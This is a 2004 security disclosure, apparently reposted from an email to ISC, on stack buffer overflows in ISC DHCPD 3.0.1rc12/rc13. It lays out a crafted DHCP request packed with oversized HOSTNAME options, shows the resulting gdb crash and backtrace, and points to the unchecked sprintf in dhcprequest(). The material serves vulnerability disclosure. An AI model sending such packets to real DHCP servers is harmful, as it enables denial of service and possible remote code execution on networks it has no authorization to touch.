ISC DHCP overflows

2004-06-29T00:00:00
ID SECURITYVULNS:DOC:6410
Type securityvulns
Reporter Securityvulns
Modified 2004-06-29T00:00:00

Description

Hi, for those interested to reproduce the recent DOS attacks against ISC DHCPD 3.0.1 rc12 and rc13 as described in: http://www.kb.cert.org/vuls/id/317350 , i'm forwarding the first email i sent to ISC describing several stack based buffer overflows occuring during the creation of log messages and triggered by sending several DHCP HOSTNAME options within a single request. This mail also includes a trace of such DHCP REQUEST.

Other .bss overflows related to vsnprintf and identified later during our investigations as described in: http://www.kb.cert.org/vuls/id/654390 can be triggered the exact same way. Note that the home made tool i am referencing in this email will be made available very soon and already includes ISC, INFOBLOX and DLINK dhcp vulnerabilities I will drop a note here when it is finally released. cheers, Gregory

Special thanks to Solar Designer and David W.Hankins (ISC)

--- Original email ------

Summary:

i have discovered several stack based overflow in your dhcp-3.0.1rc12 and rc13 (may be others, have not checked) these vulnerabilities can be easily triggered by crafting a dhcp discover or request packet which carries several hostname dhcp options that ,once reassembled by the daemon (as explained in rfc 3396), overflow a stack based variable causing the daemon to crash. I believe than one might execute code remotely on the server with the same user account dhcpd is running with, root in most cases. I have been able at some points during the tests, to control eip' 4 bytes (intel 32bits arch), it was during the ddns forward update operation. Note that all tests have been made on a linux 2.4.20-24.9 using a home made tool to generate custom dhcp traffic

Now an example:

see dhcpd.conf in attachment if you need it.

structure of an offending packet (case of a dhcp request based attack)

>> DHCP request >> from 0.0.0.0:68 (ff:ff:ff:ff:ff:ff) to 255.255.255.255:67 (ff:ff:ff:ff:ff:ff)

>> op : BOOT REQUEST (1) >> htype : Ethernet (10Mb) (1) >> hlen : 6 >> hops : 0 >> xid : 0x00000000 >> secs : 1 >> flags : UNICAST (0x0000) >> ciaddr : 0.0.0.0 >> yiaddr : 0.0.0.0 >> siaddr : 255.255.255.255 >> giaddr : 0.0.0.0 >> chaddr : ff:ff:ff:ff:ff:ff >> sname : >> file : >> cookie : 0x63825363 (RFC 1497/2132, BOOTP Vendor informations/DHCP options) >> DHCP option (053 [0x35]) : MESSAGE_TYPE : REQUEST >> BOOTP option (012 [0x0c]) : HOSTNAME : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> BOOTP option (012 [0x0c]) : HOSTNAME : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> BOOTP option (012 [0x0c]) : HOSTNAME : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> BOOTP option (012 [0x0c]) : HOSTNAME : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> BOOTP option (012 [0x0c]) : HOSTNAME : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> BOOTP option (012 [0x0c]) : HOSTNAME : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> BOOTP option (012 [0x0c]) : HOSTNAME : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >> DHCP option (050 [0x32]) : REQUEST_IP : 192.168.0.99

sending this packet to the ptraced daemon (within gdb) gives:

(gdb) run -f -d The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /usr/sbin/dhcpd -f -d Internet Software Consortium DHCP Server V3.0.1rc13 Copyright 1995-2003 Internet Software Consortium. All rights reserved. For info, please visit http://www.isc.org/products/DHCP Wrote 0 deleted host decls to leases file. Wrote 0 new dynamic host decls to leases file. Wrote 0 leases to leases file. Listening on LPF/eth0/00:0d:88:b5:95:0c/192.168.0.0/24 Sending on LPF/eth0/00:0d:88:b5:95:0c/192.168.0.0/24 Sending on Socket/fallback/fallback-net Unable to add forward map from bobAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-1022AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8 860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-8940X1.23931P-284AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-8940X1.23931P-2840X1.92E302E383631P-108AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-8940X1.23931P-2840X1.92E302E383631P-108NANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-8940X1.23931P-2840X1.92E302E383631P-108NAN0X1.1E4600811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-8940X1.23931P-2840X1. 92E302E383631P-108NAN0X1.1E4600811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0X1.1DEF80811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-8940X1.23931P-2840X1.92E302E383631P-108NAN0X1.1E4600811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0X1.1DEF80811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-0X1.FDE880811DEF8P+0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-8940X1.23931P-2840X1.92E302E383631P-108NAN0X1.1E4600811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0X1.1DEF80811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-0X1.FDE880811DEF8P+0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-0X1.FDE2008071205P+0A.zob.com.0X1.D8860BFFFDD5P-895NAN0X0.0000080FFFFFFP-10220X1.1E46000000003P-8940X1.23931P-2840X1.92E302E383631P-108NAN0X1.1E4600811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0X1.1DEF80811E4FP-894AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-0X 1.FDE880811DEF8P+0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-0X1.FDE2008071205P+0A.zob.com.0X1.

Program received signal SIGSEGV, Segmentation fault. 0x080add76 in hash_lookup (vp=0xbfffde24, table=0x38322d50, name=0x8149dac "\001ÿÿÿÿÿÿ", len=7, file=0x80bbe25 "mdb.c", line=1662) at hash.c:363 363 hashno = (*table -> do_hash) (name, len, table -> hash_count); (gdb)

backtracing stack show:

(gdb) bt

0 0x080add76 in hash_lookup (vp=0xbfffde24, table=0x38322d50,

name=0x8149dac "\001ÿÿÿÿÿÿ", len=7, file=0x80bbe25 "mdb.c", line=1662) at hash.c:363

1 0x0806fb0a in lease_hash_lookup (ptr=0xbfffde24, table=0x38322d50,

buf=0x8149dac "\001ÿÿÿÿÿÿ", len=7, file=0x80bbe25 "mdb.c", line=1662) at mdb.c:2055

2 0x0806eb5b in find_lease_by_hw_addr (lp=0xbfffde24, hwaddr=0x8149dac

"\001ÿÿÿÿÿÿ", hwlen=7, file=0x80bbe25 "mdb.c", line=1662) at mdb.c:1574

3 0x0806ee5f in hw_hash_add (lease=0x8149d30) at mdb.c:1661

4 0x0806d959 in supersede_lease (comp=0x8149d30, lease=0x811def8,

commit=1, propogate=1, pimmediate=1) at mdb.c:969

5 0x08050cb9 in ack_lease (packet=0x811d6e0, lease=0x8149d30, offer=5,

when=0, msg=0xbfffdfd0 "DHCPREQUEST for 192.168.0.99 from ff:ff:ff:ff:ff:ff via eth0", ms_nulltp=0) at dhcp.c:2227

6 0x0804d041 in dhcprequest (packet=0x811d6e0, ms_nulltp=0,

ip_lease=0x0) at dhcp.c:662

7 0x0804c37d in dhcp (packet=0x811d6e0) at dhcp.c:224

8 0x08088d9a in do_packet (interface=0x811d568, packet=0xbfffe580,

len=1430, from_port=17408, from= {len = 4, iabuf = '\0' <repeats 15 times>}, hfrom=0xbffff5b0) at options.c:2237

9 0x08096718 in got_one (h=0x811d568) at discover.c:785

10 0x080a937e in omapi_one_dispatch (wo=0x0, t=0x0) at dispatch.c:418

11 0x0807cce3 in dispatch () at dispatch.c:103

12 0x0804add1 in main (argc=3, argv=0xbffff904, envp=0xbffff914) at

dhcpd.c:614

13 0x42015574 in __libc_start_main () from /lib/tls/libc.so.6

(gdb)

Note that the daemon may actually crash at a different location depending of the first corrupted structure it meets and therefore, of the size of the malicious option sent, along with the context (type of packet, leases in use etc...)

Problems in the source: I have spent quite some time to find out where the overflow actually takes its roots, here are my findings:

file server/dhcp.c: function dhcprequest :

    char msgbuf [1024]; /* XXX */
    char *s;

....

if (lease && lease -> client_hostname && db_printable (lease -> client_hostname)) s = lease -> client_hostname; else s = (char *)0;

......

sprintf (msgbuf, "DHCPREQUEST for %s%s from %s %s%s%svia %s", piaddr (cip), smbuf, (packet -> raw -> htype ? print_hw_addr (packet -> raw -> htype, packet -> raw -> hlen, packet -> raw -> chaddr) : (lease ? print_hex_1 (lease -> uid_len, lease -> uid, lease -> uid_len) : "<no identifier>")), s ? "(" : "", s ? s : "", s ? ") " : "", packet -> raw -> giaddr.s_addr ? inet_ntoa (packet -> raw -> giaddr) : packet -> interface -> name);

To summarize, s is referencing the reassembled hostname option passed to the daemon, afterwhat it is used as is in sprintf and stored in msgbuf (fixed size) without any length checking. local msgbuf can obviously be overrun, corrupting various structures in stack and eventually causing the server to crash Note that the call to db_printable( ), filtering hostname, may render the task harder to root a server but likely not impossible. Also being able to corrupt structures like lease or oc may have interesting side effects from an attacker perspective.

void dhcprequest (packet, ms_nulltp, ip_lease) struct packet packet; int ms_nulltp; struct lease ip_lease; { struct lease lease; struct iaddr cip; struct iaddr sip; struct subnet subnet; int ours = 0; struct option_cache oc; struct data_string data; int status; char msgbuf [1024]; / XXX / char s; char smbuf [19];

....

the very same problem is present in dhcpdiscover( ), dhcpdecline( ),
dhcprequest( ) , dhcprelease( ), ... please look at the diff in unified format, attached to this email, for a detailed list.

...